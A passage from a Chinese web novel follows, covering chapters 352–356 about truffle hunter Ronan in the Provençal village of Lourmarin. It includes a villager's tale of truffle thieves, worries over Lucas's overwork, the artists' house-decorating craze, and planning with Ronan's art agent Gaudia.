这不可能是他的邻居干的,他从小就认识方圆十公里的每一个人,邻居们全都清楚这块宝藏是属于他个人的。 为了提示那几个外来者,他们来错了地方。 当天下午,老农夫开车到最近的镇上,买了一堆写有‘私人财产,禁止入内的’指示牌。 他和太太两个人一直忙到天黑,才把这块地的四周都钉上了牌子。 “结果却是——” 不等冯珍讲完,特奥插嘴道: “那些牌子肯定没有用,松露的诱惑太大了,就算说里面有‘野猪’,那些强盗也会偷偷进入。” 冯珍像是‘说书人’一样,用力拍了一下桌子: “没错,标识牌根本没用,他的土地再次遭到侵犯——” 在夜幕的掩饰下,无耻之徒在半个月内一次又一次的掠夺了老人唯一的经济来源以谋取暴利。 某一天晚上,老农夫和妻子认真地讨论了这个问题。 他们当然可以报警。 但老农夫认为,在现在的松露价格面前,警察局里的人也不值得信任,那有可能让他的秘密花园更加危险。 而且对于偷采松露的官方惩罚,最多也就是把那人送进监狱,根本拿不回小偷从他这里偷来的上万的宝贝。 于是这对夫妇决定利用更加强硬的方式来解决这件事。 老农夫叫来了他的两个儿子,三人手持猎枪,蹲守在那片橡树林里,想要抓住那个人。 终于,在某个寒冷的冬夜,他们看到了一束车灯打到了这片橡树林里! “如果是我,一定会打断那人的腿!”特奥的已经把自己的情绪带入了那个老农夫。 如果是自己的松露被人偷走他会发疯的! 康奈尔也生气的说: “问出他是哪里人,告诉他的邻居们这是个小偷!” 冯珍做了一个噤声的动作,神秘的说: “车上下来的人,让老农夫想出了一个更加好的解决办法——” 车门轻轻打开,下来了一对穿着普通、样貌同样普通的中年夫妻和两只摇着尾巴的大狗,女的带着个小袋子,男的拿着一只电筒,他们一下车就迫不及的开始低头找松露,嘴里说着上次找到的那几颗似乎就在这附近。 这些话把老农夫气坏了。 两个外来者居然像是在集市买菜一样.讨论自己的私有土地。 老农夫和他的两个儿子举着他们的武器靠近这对夫妇,却没有遇到任何反抗。 人乖乖的举起双手,两只大狗也直接趴到了地上。 枪管子顶在胸口,中年夫妻很快承认之前的松露都是他们偷的。 老农夫问他们偷了多少,夫妻很坦诚的说他们也顶着巨大的心理压力,有许多松露还没有出手,仍然放在家里,甚至连泥土都没有清理,已经出手的大概卖了1万多法郎。 老农夫举着枪对那个男人说,现在回家把没有卖完的松露全部送回来,再送来2万法郎现金,他们三个人会看着他的老婆和两只狗,直至把东西送来。 夫妻小声沟通了几句,很快同意了这个决定。 于是男人走了。 “很快黎明来了,天也渐渐亮了——” 这次抢先发言的是路易: “还算他们态度端正,我希望这件事能给他们一个教训。” 冯珍突然冷哼一声: “你们太天真了!” 她起身离开收银台,去后厨倒热水: “那个男人根本就没回去,在松露面前,什么女人什么狗都没用.这就是现在的普罗旺斯!” 听众们惊呆了。 该死的,这故事怎么是这个结局? 不过很快他们又反应过了,还不是因为松露价格现在太过美丽了! 康奈尔羡慕的看向罗南: “罗南,像你这种厉害的松露猎人一定赚翻了吧?” 松露价格已经让普罗旺斯人疯狂,而他面前就有一个优秀的松露猎人! 罗南每天的状态都是肉眼可见的开心。 他现在一定幸福极了。 罗南谦虚的说: “还可以吧,现在松露非常难找。” “但架不住你努力啊。”特奥笑着搂住罗南的脖子。 罗南露出灿烂的笑容,没有再说什么。 一个人幸福与否是藏不住的。 赚到了钱当然开心了! 过了一会,卢卡斯带着寒风进入了罗南的餐厅,把一个巨大的袋子放到了收银台上。 借着刚刚的话题,大家也想开几句卢卡斯的玩笑。 但话到嘴边又说不出口了。 明明都是松露猎人、明明卢卡斯比罗南还努力但为什么他看起来一点都不幸福啊? 是我们的错觉吗? 第352章 水火不容的特奥和亨利 今年一月前,卢卡斯每周会固定休息一天,让玛格丽特‘喘喘气’。 但寒潮过后,他连休息日都没了,每天早出晚归。 这段日子他没有和村民们喝过酒,也没有跟谁来往过,如果不是每天要来罗南的餐厅送松露,卢尔马兰就像是没有卢卡斯这个人似的。 刚开始,村民们开玩笑的说,卢卡斯为了赚钱都没有生活了,语气里满是羡慕。 谁不想多赚点钱啊? 但日子一长,卢卡斯的状态始终这样,大家完全羡慕不出来了。 为了钱放弃生活.这不是普罗旺斯人该做出的事情。 由于太忙、几乎和农夫们没有了往来,也让卢卡斯在卢尔马兰的威信力直线下降。 村中私下关于卢卡斯的讨论日益增多,但在特奥的坚定保护下,大家只是认为卢卡斯想多赚点钱而已。 但现在罗南的状态和卢卡斯成了鲜明的对比。 村民们不怀疑点什么都不正常了。 罗南每天开心的不得了,每次和佐伊见面两个人都如胶似漆,虽然也要进山,但他会腾出时间听妈妈讲故事,陪爸爸喝两杯,经常能看到他在餐厅里和朋友们聚会,有时心情好了还会请大家吃饭。 卢卡斯不仅肉眼可见的苍老了、黑了.见到谁都不太说话,还总是一副眉头紧锁的样子。 这到底是为什么啊? 卢卡斯把松露放下,和罗南聊起了关于松露渠道的事情。 他找到了一个价格更高的渠道,但是并不熟悉,想问问罗南的意见。 罗南和卢卡斯在餐厅门口聊天。 农夫们就在餐厅里坐着看他们聊天。 “特奥,卢卡斯是不是出了什么事?”连法比安都忍不住好奇了。 特奥看了一眼门口,语气轻松的说: “卢卡斯能出什么事?他好得很呢。” 法比安喝了一口酒,继续问特奥: “你最近和他的走动还密集吗?” 寒潮前,特奥总是给哥哥和父母家送东西,不过最近在特奥嘴里只能听到他父母的事,听不到卢卡斯的名字了。 特奥没心没肺的摇头: “卢卡斯说,不想让玛格丽特太累,过了这个冬天就会考虑让它退休,所以最近要多去山里,没有休息的日子了,不过我们约了3月份一起去打猎。” 突然,特奥有些不耐烦的看法比安: “前几天我不是才给康奈尔解释过,你在场啊,怎么又问一遍。” 法比安摸了摸脑袋,憨厚的说: “我是觉得卢卡斯现在的状态已经不像是赚钱了,上帝,他也太拼了,我从来没见过有人那么努力的赚过钱。” 在旁边桌的亨利冷笑着插嘴: “不是赚钱就是还债呗,还债好啊,没有了有钱的哥哥,我看某个人还如何嚣张的出来。” “你信不信我打你——”特奥噌的一下站起来。 说他可以,说卢卡斯不行。 特奥决定好好教训一下亨利,他已经忍很久了。 亨利现在硬气的不得了,撸起袖子就要还击: “来啊,我看看你这个每天靠哥哥耀武扬威的家伙拳头够不够硬!” 双方剑拔弩张之时,两道声音先后出现。 “停下!” “住手!” 卢卡斯一脸严肃的看着特奥: “你知道这是罗南的餐厅吗?” 特奥不服气的说: “是亨利说——” “出来。”卢卡斯把特奥叫到了外面,要单独训话了。 特奥狠狠的瞪了一眼亨利,跟着哥哥离开了餐厅。 罗南目送兄弟俩离开,皱着眉头问亨利: “又因为什么和特奥吵起来了?” 特奥和亨利每周都得打一次。 亨利骂骂咧咧的说: “卢卡斯都那样了,特奥像是个‘弱智’一样,还天天把卢卡斯挂在嘴边,吹嘘个没完没了,我听不下去了!” 罗南一怔,下意识的反问: “卢卡斯哪样了?” 亨利不敢对罗南不敬,生气的指着地面说: “卢卡斯如果有钱,为什么要这么拼?这明明很奇怪啊,中间一定出了什么问题,我们都看出来了,只有特奥不承认!” 亨利在卢尔马兰的人缘极差。 通常情况下,他和特奥吵架,周围的人态度都是向着特奥,每当罗南和皮埃尔从中调停,周围就会出现一些指责亨利的声音,让亨利更加生气。 但今天,一个插嘴的人都没出现。 虽然他们也没帮亨利说什么,罗南能看出来,这帮人应该是认同了亨利说的一部分内容,就比如卢卡斯的状态。 要瞒不住了吗罗南在心中叹了一口气。 他侧头看了一眼落地窗外正在和特奥说话的卢卡斯,确认这个让他尊敬的男人腰背确实没有去年挺拔了,身型也瘦了。 随即,去年几个罗南印象中卢卡斯该有的样子出现在脑海里。 有召集了许多卢尔马兰名人,并意气风发的把罗南一一介绍给他们的卢卡斯。 有夜幕中开着美国皮卡路过罗南家,询问卡福的伙计们是不是可以满足需求的卢卡斯。 还有在那个在老酒馆和年轻人掰手腕并把车钥匙扔来,告诉他‘去接父母别丢了面子’的卢卡斯。 罗南突然意识到,这里的每一个场景中,卢卡斯都在帮他。 帮助他在卢尔马兰立足、帮助他解决工匠问题、帮助他在父母那里有面子 对待帮助过自己的人,罗南的态度始终如一——那就是加倍的还回去。 罗南看向亨利: “卢卡斯这么拼的原因特奥已经解释过很多次了吧。” 亨利的气焰完全消了下去,他不信特奥,但他信罗南: “知道了,罗南先生。” 之后罗南又看着那几桌农夫说: “卢卡斯永远是我的‘老大哥’,这件事绝不会改变我不想听到你们再就卢卡斯说些什么。” 农夫们紧张的面面相觑。 罗南很少这么认真和严肃的对他们说什么。 看来真的是想多了? 餐厅外。 “他不想听你就别说了,这么简单的事,你犟什么?”卢卡斯点了一根烟,语气平静的说。 “凭什么他不想听我就不说?”特奥生气的说,“嘴长我身上,我想说什么说什么,他就是嫉妒,嫉妒你是我哥哥!” 卢卡斯被特奥气笑了: “行了,总之以后不用为我和别人吵架,尤其是在罗南的餐厅里,你知道的,罗南帮了你那么多,别让他为难知道吗?” 特奥低着头: “知道了。” 餐厅门在身后打开,兄弟俩回头,看到路易和维埃里从里面出来。 卢卡斯推了一下特奥,示意让他回去。 之后卢卡斯追上了路易,问他: “最近卢尔马兰的房价涨了还是跌了?” 路易笑容满面的说: “托罗南那几个人的福,房价又涨了,你还是要问你的那所房子吗?它现在应该能卖60多万法郎了。” 卢卡斯每天都要来罗南的餐厅,路易也几乎每天都会来,一遇到就会聊聊房价的话题。 路易已经能预料到他要问什么了主动说出了答案。 卢卡斯疲惫的脸上终于出现一丝轻松的笑容,虽然那笑容转瞬即逝: “希望3月也能保持住这个势头,一直涨上去。” 第353章 卢尔马兰村里盛开的点点‘鲜花\’ 2月是普罗旺斯最冷的月份。 只有像罗南和卢卡斯这样要进山赚钱的人才会在天蒙蒙亮的时候离开温暖的房子。 其他村民要等到太阳完全升起来、气温升高一些才会去室外活动,这才是普罗旺斯人正确的冬天打开方式。 不过在2月末的某一天,罗南开车即将离开卢尔马兰村,驶入D943号公路时,意外的发现路边一所房子的大门‘大敞四开’,且它的主人也来到来到了室外。 而这个奇怪的家伙正巧是罗南的熟人。 “嗨马里尼,这么早就起了?”罗南把车开到马里尼的房前,摇下车窗和他打招呼。 马里尼今天没有穿他平日里喜欢穿的名贵西装和呢子大衣,而是换上了一条牛仔背带裤,脚下是一双破皮靴。 “你好啊罗南。”马里尼放下手里的梯子,笑着走向罗南的汽车,“要进山了吗?” 罗南把胳膊架在车窗上,心情非常不错的说: “是的,最近抢生意的人多,我要去守护我的花园。” 马里尼笑了两声,指着身后自己的房子说: “真巧,我也打算守护我的花园。” 罗南见到房门口放了许多工具,还有一些他看不懂的木头牌子,像是马里尼自己雕刻出来的,好奇的问: “你要修房子吗?不过现在是不是太早了。” 马里尼的情绪突然兴奋起来,完全没有早起的萎靡不振: “不是修房子,而是装饰房子,昨天晚上和几个艺术家朋友聊天,大家决定今天要来我家做客我想给他们留下一些特殊的印象,早早的起来开始准备。” “特殊的印象?”罗南更好奇了,继续问道,“什么特殊的印象?” 马里尼很乐于给罗南分享,仔细解释起来: “最近在卢尔马兰艺术家群体中兴起了一股‘装饰’狂潮,大家都挖空心思想在自己的房子上做出一些和其他人不同的点缀,哈哈,很有意思吧?我们可不想被那些新搬来的艺术家比下去。” 罗南恍然大悟点了点头: “原来是这样。” 近期搬来卢尔马兰的艺术从业者陆续开始装修房子了,每天罗南回家都能看到拉着装修材料的货车进出卢尔马兰。 由于有不少人的房子有商业用途,且政府支持大家改变房子外观,所以卢尔马兰出现了几所外形特别好看房屋。 而像马里尼这样早早的搬来卢尔马兰的艺术从业者,在这股风潮的带动下也行动了起来。 太大的工程做不了了,他们会选择自己动手装饰一下自己的房子,主要是外墙。 艺术家不会装修,但他们美化房屋的本事很强,憋着一股劲想要让自己的房子最漂亮。 马里尼指着自己的房子,笑着说: “好了,今天的任务是在中午之前粉刷大门和门窗,还要贴一些挂饰,争取一周之内把所有的装饰做完。” 罗南和马里尼告别: “去忙吧,愿你的房子能给朋友们留下非常不错的深刻印象。” 马里尼的房子在罗南早晚进出卢尔马兰的必经之路上。 下午返回卢尔马兰路过这里时,罗南特意降低了车速,想要看一看马里尼早起的成果,发现他家窗户和门果然变了样子变成了更为鲜艳的颜色。 那可能不是它最终的样子,但也很漂亮了。 “很不错嘛。”罗南笑着离开了这里。 可能是因为早上和马里尼聊起了关于艺术从业者们装修房屋的话题,今天罗南一路开一路默默的观察发现原本只有深黄和蓝色的卢尔马兰的街道上,出现了许多艳丽的颜色。 它们像是在中世纪的古朴村落里盛开的朵朵‘鲜花’一样,给这里带来了新的活力和希望。 有些人买下房子后把外延墙壁当做了画纸,将其涂鸦成了一幅画。 罗南猜,这所房子几个月后有可能会成为一所画廊。 他听说最近有好几个人要在这里开画廊。 还有的人只是在自己家的大门或者房屋外墙上画了一点东西,但也同样能给人留下深刻的印象。 越看罗南脸上的微笑越灿烂。 艺术家从业者们还在源源不断的来卢尔马兰看房子,从路易脸上的笑容判断,未来很长一段时间这个现象都不会改变。 相信到了春天,旅行季开始,在花草树木衬托下的卢尔马兰一定漂亮极了,这将是一个古典和现代完满交织的漂亮地方。 “到了那个时候,不会再有游客抱怨卢尔马兰没有什么好玩的地方了,只是在街道上闲逛就很有趣啊。”罗南开心的念叨,开始期待起几个月后卢尔马兰的新风貌。 罗南把车停好,带着松露步行回餐厅,意外发现道路两侧那些古朴的中世纪房屋上也满是‘细节’,那都是他之前所忽略的地方。 不少房子更换成了更为具有艺术特色的门把手,还有的人换了门外墙上的壁灯灯罩。 可以说整个卢尔马兰的‘艺术’浓度正在巨幅升高。 而这些微小的细节让卢尔马兰更加迷人了。 商业街上歌迪亚的艺术品商店也早在几天前就完成了装饰升级。 她把窗户粉刷成了更为亮眼的绿色。 不过之前罗南没有仔细看过,今天用‘游客’一样的目光观察这里,发现其中细节满满。 他差点忽视掉了那些装饰物。 “上帝,现在卢尔马兰可看的东西太多了。”罗南惊奇的嘟囔。 不过更加让罗南意外的是,现在时间已经不早了,但歌迪亚的店铺里居然有好几位客人,而且全部是本村村民。 以往去逛艺术品商店的都是外村来的游客。 卢尔马兰的村民也懂艺术了? 怀揣着好奇的心情,罗南推门而入,听到村民们在咨询门把手、窗户护栏和装饰物等问题,为了让自己的房子看起来更加漂亮。 见罗南一副‘见鬼’了的表情,歌迪亚抽空给他解释: “别用那种眼光看待艺术,艺术家和我都需要吃饭,我这里也卖便宜的东西。” 一个妇女笑着对罗南说: “歌迪亚这里的灯罩一个才卖60法郎,比艾克斯艺术品商店卖的东西便宜多了。” 罗南开玩笑的说: “艺术家扎堆的好处出现了,艺术开始向我们的生活靠拢。” 罗南只是来看热闹,知道村里的那些装饰物是歌迪亚卖出去的后就要转身离开。 但歌迪亚突然在身后把他叫住: “你等等再走,我正好有事找你。” 第354章 专业的歌迪亚 接待完最后几个顾客,歌迪亚把艺术品商店打了烊。 “最近加班太严重了。”她一边收拾东西一边抱怨。 罗南撇嘴: “我猜那个抱着托马斯的胳膊,哭说把全部身家都投到了这个店铺上,连艾克斯的帅哥都不要了,孤注一掷搬来卢尔马兰但每个月连电费都赚不出来人,是你双胞胎的妹妹。” 生意好还抱怨上了? 歌迪亚整理了几下头发,用强调的语气说: “不要忘记,我和你一样,身上也有许多身份,这个店铺现在不是我的全部身家了。” 罗南耸肩: “如果觉得累,就把这个商铺关了吧,专职做经纪人。” 歌迪亚现在的赚钱模式主要依靠买断。 买断艺术家的作品,加一定价格卖出去,这其实是有一定风险的,因为她收进来的货有可能砸在手里。 她完全可以换个赚钱模式。 今年3月还没开始,卢尔马兰三杰已经收到明年3月的艺术活动邀约了。 罗南、佐伊还巴蒂在私下里讨论过这件事,他们愿意给歌迪亚一些佣金,让她全职做艺术经纪人。 歌迪亚倒了一杯佐伊给她送来的高度白兰地,语气复杂的说: “我把店铺关了,那些新人艺术家怎么办?店铺人流量才刚刚好起来,能让底层的人赚到些钱你觉得其他艺术品商店愿意收他们的作品?又或者你觉得那些店铺愿意收门把手和窗户装饰这种便宜东西吗?” 罗南意外的问: “门把手和窗户装饰是你让他们做的?” 歌迪亚喝了一口酒: “别那么大惊小怪,我是专业的艺术经纪人,当然要针对不同的艺术家制定不同的发展路线.我能眼睁睁的看着他们饿死?” 罗南被说的哑口无言。 从某些方面上讲,歌迪亚其实和他是一样的人。 歌迪亚不想在这个问题上过多浪费时间,开始说正事: “格拉内博物馆联系我了。” 罗南瞬间坐直身体: “有结果了吗?” 国宝认证的时间比官方给的预期长了好久,终于来消息了? 见歌迪亚的表情没有一点点兴奋或者开心,罗南的一颗心又马上凉了下来: “没通过?” 其实罗南早就做好了心理准备,如果顺利,不会拖这么久的时间。 歌迪亚砸了一下嘴: “怎么可能没通过,没通过我现在就没有心情在卢尔马兰和你聊天了,而是杀去艾克斯找格拉内博物馆理论,他们搬出了‘国宝优先购买权’却没有落实这件事,对你未来的发展会产生无尽的影响!” 罗南前倾身体,再次确认: “真申请下来了?上帝,我以为没戏了!” 歌迪亚揉了揉发酸的脖子: “‘相思鸟’下个月初就要在在格拉内博物馆展出,还要为此举行一个小小的活动呢。” 罗南脸上的笑容刚一出现就消失了,不解的问她: “既然申请下来了,你怎么一点都不开心?我看你的表情,以为是出了什么严重的事故呢。” 歌迪亚咕咚咕咚喝了几口酒,之后措辞着说: “因为我不知道要给你制定什么样的发展路线.罗南,你是卢尔马兰这些艺术家里最有天赋,也是现在走到最远的,但你又和佐伊、巴蒂还有那些艺术家不一样,艺术不是你的全部,我把你留下就是想问问,你想要通过艺术得到什么,这样我好给你设计发展路线。” 刚一说完,歌迪亚连忙补充了一句: “这只是我的建议,如果你不需要什么发展路线可以直接告诉我,我知道你赚钱的办法有很多,艺术不是你唯一的道路.所以想和你谈谈。” 歌迪亚是一个非常负责的人。 针对不同艺术家的情况、技艺和特色,制定了不同的发展计划。 底层艺术家的目标是先解决温饱问题。 歌迪亚亲眼见到过许多艺术家因为无法养活自己,放弃了这条道路。 所以她号召那些不知名的艺术家做一些容易被居民们买走的东西,同时再去考虑艺术。 佐伊这种‘头部’艺术家当然就是另外的发展道路了,她的目标是让佐伊渐渐从普罗旺斯走出去,走向法国更多的地区。 针对巴蒂这种小众艺术,歌迪亚也制定了相应的计划。 但罗南可是把她难住了。 她完全不知道罗南的目标是什么。 而且歌迪亚也清楚,罗南不是那种按照她给的计划乖乖发展的人。 罗南既感激又欣慰的说: “能有你这样的经纪人,是我们的幸运。” 歌迪亚不满的挥手: “别说那些没用的,说说你的想法。” 罗南搓了搓手,很坦诚的说: “实不相瞒,我做艺术家只有一个目的,就是为了粉红酒。” 歌迪亚泄气的哀嚎: “果然!我早就看出来,你这个家伙带着其他目的!!” 罗南用简洁的言语剖析了自己的心路历程和最终想要达到的目的,不过他故意隐去了想要接手一个粉红酒酒庄的信息,只是说自己的梦想是让粉红酒得到普罗旺斯人的正视。 歌迪亚的情绪只是小小的崩溃了一下,便马上恢复了正常,听完罗南的讲述,她试着总结着说: “所以你的目标其实是想影响更多的人,而当艺术家只是一个完成目标的跳板,因为艺术家对粉红酒的接受程度最高?” 罗南点头: “是的,我的最终目标是想通过艺术家的这个身份,影响到更多的普通人。” 歌迪亚在本子上奋笔疾书起来: “如果是这样,你的目标应该放眼在那些有大曝光的活动,不能仅局限在艺术行业内,例如阿维尼翁戏剧节或者马赛帆船节,不过这有点难,这些大活动都是邀请制的,以我的人脉很难把你送过去,而且需要你做到一定高度的艺术家,才有可能被当作艺术领域的嘉宾被邀请过去。” 罗南突然侧了下脑袋: “好像也不是不行,米切兰杂志社的主编伊内斯告诉我,如果我想去参加哪些地方活动可以告诉她,她负责给我发邀请函。” 伊内斯对罗南和佐伊的要求是——上米切兰的杂志、参加他们举办的活动、参加他们希望罗南和佐伊去参加的活动,并在尽可能多的场合表达出和‘米切兰’杂志社的友好关系。 想要达成最后一点,就需要罗南和佐伊有更多的曝光机会,不局限在艺术领域,也可以和米切兰没有关系。 伊内斯告诉罗南,只要小情侣能在活动上主动提及米切兰杂志社或者他们的艺术家榜单,她就能送罗南去他想去的任何活动,不过前提是普罗旺斯的境内。 “米切兰杂志社的主编伊内斯为什么要给你发邀请函?”歌迪亚不禁提高了音量。 身为一个优秀的艺术经纪人,必须要掌握最新的行业信息。 而普罗旺斯艺术界最近比较炸裂的消息就是,有人在传米切兰杂志社要进军艺术界了。 那位主编大人在戈尔德实在太抢眼,像是在走戛纳的红毯一样。 事实上,歌迪亚近期正在想办法抱上米列兰杂志社这条大腿呢。 罗南拍了一下手,‘哎呀’了一声: “我好像忘记跟你说了” “说什么?”歌迪亚瞪大眼睛。 罗南又把和伊内斯是什么关系,两个人在前几天达成了什么合作和歌迪亚说了一遍。 这次他没有任何隐瞒,连把他品读出的‘伊内斯的态度就是米切兰杂志社的态度’等信息也一起说了出来。 歌迪亚听完,直接对着瓶子喝起了高度白兰地,似乎在按耐体内某种汹涌的情绪。 突然,她把酒瓶子往桌子上一砸: “我应该能帮助你实现你的梦想。” “我的梦想?”罗南被歌迪亚的反应吓了一跳,“想让粉红酒得到普罗旺斯人正视的梦想?” “当然!”歌迪亚的语气带了一点癫狂,“你抱上了那么粗的大腿,实现这个梦想的概率大大提升,我会帮你好好谋划的!” 罗南小心翼翼的问: “但这.这和艺术没有关系啊。” 和艺术没有关系的梦想你也管? 歌迪亚认真的像是宣誓一样: “在普罗旺斯艺术界,艺术家和藏家的利益大于一切,但对于艺术经纪人来说,艺术家的利益大于一切。有的艺术家想要填饱肚子,那我就帮助他赚钱;有的艺术家想要把作品送去巴黎,那我就帮他提高能力和名气。 你想要影响更多的人,那我就帮助你把名声打到更多的领域去,让你能影响更多的人.艺术家想要什么,我就满足什么,这才是我想要成为的艺术经纪人。” 第355章 向经典致敬 伊内斯确定了去格拉斯见客户的时间,邀请罗南与她同行。 借着这个机会,罗南在2月的最后几天给自己放了一个小假期。 说是假期,也只是不进山而已。 留在卢尔马兰,依然有不少需要处理的事情。 罗南首先把巴蒂和卡福约了过来,聊一聊关于‘卢尔马兰手工艺合作社’未来发展的事情。 戈尔德的临时摊位已经在几天前撤了,卡福在过去的大半个月里找罗南订了近10万法郎的花环、编织灯和饰物的单子。 不过这批订单还没做完,卡福就开始找罗南聊下一批订单的事了。 “花环还是一如既往的好卖,灯和饰品也渐渐打开了市场,但是我们的品类太少了,那些逛戈尔德摊位的顾客总是问我们还有没有别的东西。”虽然今天不是见客户,但卡福依然穿着西装和衬衣,俨然已经习惯了自己的新人设。 巴蒂会做的东西很多,他不担心做什么新品类,而是担心要如何卖: “戈尔德的活动没了,我们的摊位也没了,做出了新的编织东西,如何让顾客看到它们?” 巴蒂看了一眼罗南,声音越来越小,显得没有什么底气: “事实证明,拿着东西上门推销并不是一个好的办法,我们的灯卖了这么久,一直没有卖出去,但是最近卖出了好几十盏。” 在戈尔德艺术活之前,卡福启用的销售策略是拿着罗南做出来的样品去阿普特的装饰市场推销,同时也会推销给他熟悉的有钱客户,但除了圣诞节的花环,其他编织物品的销售情况并不理想。 不过卡福现在的想法改变了,他也发现之前的策略不太行: “还是得有一个店铺,我打算在阿普特的装饰市场里租一个。” 戈尔德的临时摊位让他吃到了甜头。 卡福也看向罗南: “可以吗?” 无论是巴蒂还是卡福,都视罗南为‘主心骨’,他们说出来的提议必须要罗南认可了才行。 “可以啊,当然可以。”罗南点头,“先在阿普特开一个。” 巴蒂敏锐的捕捉到了罗南用的是‘先’,好奇的问: “你之后有其他打算?” 卢尔马兰未来的发展规划是成为成一个高端&小众的中世纪村落,而且布兰科让希尔维重视小众艺术品类的扶持。 如果一切顺利,在卢尔马兰开店是很合适的,但那需要不久的时间,要等商业街二三期兴建起来,而他们现在等不了那么久。 不过这些细节现在不方便跟巴蒂和卡福说,罗南简单的敷衍了一句,说起了别的: “最理想的店铺环境是能覆盖到高端客户,不过这个不着急,可以慢慢找,我们先把新的品类定了。” 卡福负责销售,产品样式是巴蒂的领域: “我已经开始做新的饰品样式了。” 罗南问巴蒂: “只做饰品吗?” 巴蒂想了一下: “也可以做椅子,做两款椅子,再做一个茶几。” 巴蒂会的家具样式不多,他跟老师傅学的主要是饰品。 罗南用食指敲了几下桌子: “两款椅子可能不太够,这样吧,巴蒂负责饰品,卡福找店铺需要一些时间,到那个时候松露采摘季应该也结束了,我来负责做编织家具。” 巴蒂错愕的说: “两款还不够?你要做几款?” 罗南的餐厅里也只有一种编织椅子的样式啊。 罗南摸了摸下巴,语气平静的说: “先做十几款吧。” 罗南穿越前是某高端编织家具品牌的粉丝,由于工作的原因,这个品牌每一季出的家具他都会研究,脑海里可以做的样式非常多。 ‘致敬’几款现在还没有的卖个试试? 罗南有一段时间没有白天出现在餐厅里。 得知他今天没有进山的消息,克劳德中午去了罗南的餐厅。 罗南和这位负责旅游的政府官员不太熟悉,平时交集不多,见他来了点了下头,就算是打招呼了。 但克劳德堵到了罗南身前,似乎有一肚子的话要说: “中午有时间一起吃顿饭吗?” 罗南中午没有其他安排,答应了克劳德的吃饭邀约。 这位官员没有让罗南猜太久,刚把酒倒好,就直接表明了来意: “卢尔马兰涌入大量艺术从业者是好事,但也有隐患,我们不能走上博尼约的老路,罗南.我想请求你的帮助。” 罗南有些意外的看向对面的克劳德: “在博尼约发生过什么不好的事情?” 博尼约的艺术氛围没有戈尔德和梅纳村浓厚,但走在那个依山而建的小村子里也可以看到不少画廊、艺术店铺和手工作坊。 看起来挺好的啊.有什么隐患呢? 克劳德叹气道: “是艺术家和本地村民之间的矛盾,虽然出问题的概率很小,我们不能忽视这个问题。” 他回忆着记录里的信息,展开说道: “核心问题是圈层不同,艺术家中的大部分人都比本地村民有文化,思想和眼界也更开阔,即使他们开了店铺也不喜欢雇佣本村村民,导致村子里明明有就业机会,但年轻人还是要外出打工。 另外一个关键问题是两者对旅游业和游客的态度不同,艺术从业者欢迎游客的到来,喜欢旅行季,但本地村民一到了旅行季就很烦躁,认为那些游客打扰了他们的美好生活。” 说到这里克劳德停顿了一下,煞是头疼的说: “博尼约在过去的8年中出现了五六起艺术家和本地村民的冲突案例,甚至有被激怒的村民向艺术店铺扔驴粪,并对游客诋毁本村商铺。” 罗南的脸色比克劳德还难看。 这确实是一个需要注意的问题啊。 他的餐厅其实就是一个小型的卢尔马兰社会缩影,这里每天都会有许多本村村民和艺术家聚集,但这两个群体很少有什么交集,而且坐的区域也很远。 克劳德用祈求的语气对罗南说: “你在村民中有很高的威望,村民们有可能不信布兰科,但他们不可能不信你,同样的,你在卢尔马兰艺术家中也有极高的威望,这些人都视你和佐伊为中心,所以罗南.我希望你能帮我一起,杜绝博尼约的‘悲剧’在卢尔马兰发生。” 第356章 热闹的二月末 一接到任务,克劳德就来找罗南求助了。 今天他只是先告知了罗南有这么件事,还没想好要如何做。 他说回去之后会详细的想几个解决办法,请求罗南配合他完成。 罗南当然同意了。 他也不想看到最好的朋友们出现什么矛盾。 不过克劳德离开之后,他依然在思考这个问题。 罗南很了解本村村民,也很了解艺术家们。 其实大家都是好人,只不过站的立场不同。 罗南相信博尼约的悲剧在卢尔马兰发生的概率很低。 不过就像克劳德说的那样,即使发生的概率很低,也不能忽视这个问题的存在,最好在艺术家涌入之初就人工干预进来,以绝后患。 不过要如何做呢? 帕耶里西亚小姐的确没有为难佐伊,很尊重她的想法。 不过面对如此信任自己的帕特里西亚小姐,佐伊对自己的要求更加高了,做这个订单的状态像是在准备去参加戈尔德的系列艺术活动一样认真。 不过和备战戈尔德时期有一点的不同是,每到下午4点多,她一定会‘雷打不动’的出现在餐厅里,坐在收银台后观察路易和维埃里的互动。 “哎呀,这两个人,气死我了,气死我了!”佐伊气的腮帮子都鼓了起来,像是一只暴怒的小松鼠。 在罗南进山的日子,冯珍是佐伊的‘同桌’,和她一起观察,一起点评。 罗南今天在餐厅,懂事的冯珍把地方让了出来,去后厨和老公罗天海说话去了,把‘同桌’位让给了罗南。 不过佐伊的实时评论没有得到罗南的回应,佐伊本就替爸爸和弟弟着急,现在更着急了: “你把位置让给阿姨吧,我们有来有回的挺有意思,跟你说什么你都不理。” 佐伊都说到这了,旁边的罗南还没有反应。 她把视线移动到罗南的身上,发现他正撑着脑袋,一脸愁容。 爸爸和弟弟的日常每天都能看。 但男朋友心情不好的情况很少发生。 佐伊立即转换了观察目标,用手掌在罗南的眼前划动了两下: “想什么呢。” “啊——”罗南回过神来,笑着摇头,“没什么没什么。” 他在餐厅里找寻路易和维埃里的身影: “路易还是抢着帮维埃里干活,但互相不说话吗?” 佐伊有些担忧的问罗南: “今天不看他们了,你在想什么?” 自从在戈尔德‘名利双收’,小情侣的心情就变得非常棒,大概是卢尔马兰最幸福的两个人。 佐伊好久没有在罗南的脸上看到这种表情了。 见佐伊没有了观察的心情,罗南把中午克劳德维托他的事情复述了一遍,最后他有些头疼的说: “我觉得这件事让政府出面解决很奇怪,那看其他太严重了,说不定会适得其反,本来没有什么,让政府这么一‘提醒’,反倒有点什么似的.这件事应该潜移默化的化解,最好是‘润物无声’的那种,而且我来做更加合适。” 卢尔马兰政府对罗南‘不薄’,甚至可以说是‘极度宠爱’,罗南觉得他该主动替政府解决掉这个麻烦。 佐伊听完之后没有马上发言,而是想了一会才开口: “这确实是隐患,但不是没有解决的可能,我觉得思想和眼界不是什么无法调和的事,没有谁的眼界和思想是固定的,这两个群体最大的矛盾点是对待旅游业的看法不同,那就想办法让大家有共同的利益点。” 罗南又陷入了沉思之中: “这肯定是最理想的状态,让大家都能在旅行季赚到钱” 见罗南又开始思考,佐伊语气坚定的说: “总之,这件事我会和你一起想办法。” 罗南笑着在佐伊的下巴上摸了两下: “你就别为这件事费心了,你看你都瘦了。” 说着罗南拿起了面前的电话: “我让弗雷迪带一点海鲜回来,下个月可能就吃不上了。” 冬天一过去,吕贝隆的新鲜海鲜就少了,想要吃得去沿海那边。 佐伊那么挑食,好不容易有一种爱吃的东西,罗南得让她吃到够。 佐伊没有阻拦罗南打电话,搂着他的胳膊说: 